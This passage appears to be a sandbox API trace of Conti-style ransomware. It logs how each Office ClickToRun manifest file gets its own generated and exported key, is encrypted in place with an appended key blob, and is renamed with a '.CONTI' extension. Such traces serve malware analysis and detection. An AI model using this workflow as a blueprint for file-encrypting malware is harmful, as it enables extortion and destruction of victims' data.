	[0103.705] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d20d0 | out: hHeap=0x1720000) returned 1
	[0103.705] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0103.705] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17e9b48 | out: phKey=0x17e9b48*=0x17c7f70) returned 1
	[0103.705] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e9b4c, pdwDataLen=0x4fbf86c | out: pbData=0x17e9b4c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0103.706] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml")) returned 0x20
	[0103.708] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4
	[0103.708] GetLastError () returned 0x0
	[0103.708] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=32926) returned 1
	[0103.708] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x809e
	[0103.708] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.708] SetEndOfFile (hFile=0x3b4) returned 1
	[0103.709] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.709] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.709] WriteFile (in: hFile=0x3b4, lpBuffer=0x17e9b4c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17e9b4c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0103.717] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.717] ReadFile (in: hFile=0x3b4, lpBuffer=0xe980000, nNumberOfBytesToRead=0x809e, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x809e, lpOverlapped=0x0) returned 1
	[0103.719] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x809e, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x80a0) returned 1
	[0103.720] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.720] WriteFile (in: hFile=0x3b4, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x80a0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x80a0, lpOverlapped=0x0) returned 1
	[0103.720] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.720] WriteFile (in: hFile=0x3b4, lpBuffer=0x17e9b40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17e9b40*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0103.720] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.720] CloseHandle (hObject=0x3b4) returned 1
	[0103.720] GetProcessHeap () returned 0x1720000
	[0103.720] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.720] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml"
	[0103.720] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.CONTI"
	[0103.720] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml.conti")) returned 1
	[0103.721] GetProcessHeap () returned 0x1720000
	[0103.721] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.721] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0103.721] GetProcessHeap () returned 0x1720000
	[0103.721] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e5440 | out: hHeap=0x1720000) returned 1
	[0103.721] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0103.721] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17d68e0 | out: phKey=0x17d68e0*=0x17c85b0) returned 1
	[0103.721] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d68e4, pdwDataLen=0x4fbf86c | out: pbData=0x17d68e4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0103.722] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml")) returned 0x20
	[0103.722] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4
	[0103.722] GetLastError () returned 0x0
	[0103.722] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=24558) returned 1
	[0103.722] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5fee
	[0103.722] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.722] SetEndOfFile (hFile=0x3b4) returned 1
	[0103.722] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.722] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.722] WriteFile (in: hFile=0x3b4, lpBuffer=0x17d68e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17d68e4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0103.729] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.729] ReadFile (in: hFile=0x3b4, lpBuffer=0xe980000, nNumberOfBytesToRead=0x5fee, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x5fee, lpOverlapped=0x0) returned 1
	[0103.733] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x5fee, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x5ff0) returned 1
	[0103.733] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.733] WriteFile (in: hFile=0x3b4, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x5ff0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x5ff0, lpOverlapped=0x0) returned 1
	[0103.733] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.734] WriteFile (in: hFile=0x3b4, lpBuffer=0x17d68d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17d68d8*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0103.734] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.734] CloseHandle (hObject=0x3b4) returned 1
	[0103.734] GetProcessHeap () returned 0x1720000
	[0103.734] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6555f58
	[0103.734] lstrcpyW (in: lpString1=0x6555f58, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml"
	[0103.734] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.CONTI"
	[0103.734] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml.conti")) returned 1
	[0103.739] GetProcessHeap () returned 0x1720000
	[0103.739] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6555f58 | out: hHeap=0x1720000) returned 1
	[0103.739] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0103.739] GetProcessHeap () returned 0x1720000
	[0103.739] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e5720 | out: hHeap=0x1720000) returned 1
	[0103.739] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0103.739] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17da1e8 | out: phKey=0x17da1e8*=0x17c8470) returned 1
	[0103.739] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17da1ec, pdwDataLen=0x4fbf86c | out: pbData=0x17da1ec*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0103.740] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml")) returned 0x20
	[0103.743] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0103.743] GetLastError () returned 0x0
	[0103.743] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=731118) returned 1
	[0103.743] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xb27ee
	[0103.743] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.743] SetEndOfFile (hFile=0x2f8) returned 1
	[0103.745] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.745] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.745] WriteFile (in: hFile=0x2f8, lpBuffer=0x17da1ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17da1ec*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0103.749] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.749] ReadFile (in: hFile=0x2f8, lpBuffer=0xe980000, nNumberOfBytesToRead=0xb27ee, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0xb27ee, lpOverlapped=0x0) returned 1
	[0103.755] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0xb27ee, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0xb27f0) returned 1
	[0103.756] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.756] WriteFile (in: hFile=0x2f8, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0xb27f0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0xb27f0, lpOverlapped=0x0) returned 1
	[0103.758] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.758] WriteFile (in: hFile=0x2f8, lpBuffer=0x17da1e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17da1e0*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0103.758] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.758] CloseHandle (hObject=0x2f8) returned 1
	[0103.758] GetProcessHeap () returned 0x1720000
	[0103.758] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6555f58
	[0103.758] lstrcpyW (in: lpString1=0x6555f58, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml"
	[0103.758] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.CONTI"
	[0103.758] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml.conti")) returned 1
	[0103.763] GetProcessHeap () returned 0x1720000
	[0103.763] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6555f58 | out: hHeap=0x1720000) returned 1
	[0103.763] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0103.764] GetProcessHeap () returned 0x1720000
	[0103.764] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e5b10 | out: hHeap=0x1720000) returned 1
	[0103.764] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0103.764] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17d9fa0 | out: phKey=0x17d9fa0*=0x17c7f70) returned 1
	[0103.764] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d9fa4, pdwDataLen=0x4fbf86c | out: pbData=0x17d9fa4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0103.764] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml")) returned 0x20
	[0103.767] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0103.768] GetLastError () returned 0x0
	[0103.768] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=86894) returned 1
	[0103.768] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1536e
	[0103.768] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.768] SetEndOfFile (hFile=0x2f8) returned 1
	[0103.769] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.769] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.769] WriteFile (in: hFile=0x2f8, lpBuffer=0x17d9fa4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17d9fa4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0103.771] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.771] ReadFile (in: hFile=0x2f8, lpBuffer=0xe980000, nNumberOfBytesToRead=0x1536e, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x1536e, lpOverlapped=0x0) returned 1
	[0103.772] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1536e, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x15370) returned 1
	[0103.772] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.772] WriteFile (in: hFile=0x2f8, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x15370, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x15370, lpOverlapped=0x0) returned 1
	[0103.772] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.772] WriteFile (in: hFile=0x2f8, lpBuffer=0x17d9f98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17d9f98*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0103.772] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.772] CloseHandle (hObject=0x2f8) returned 1
	[0103.773] GetProcessHeap () returned 0x1720000
	[0103.773] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6555f58
	[0103.773] lstrcpyW (in: lpString1=0x6555f58, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml"
	[0103.773] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.CONTI"
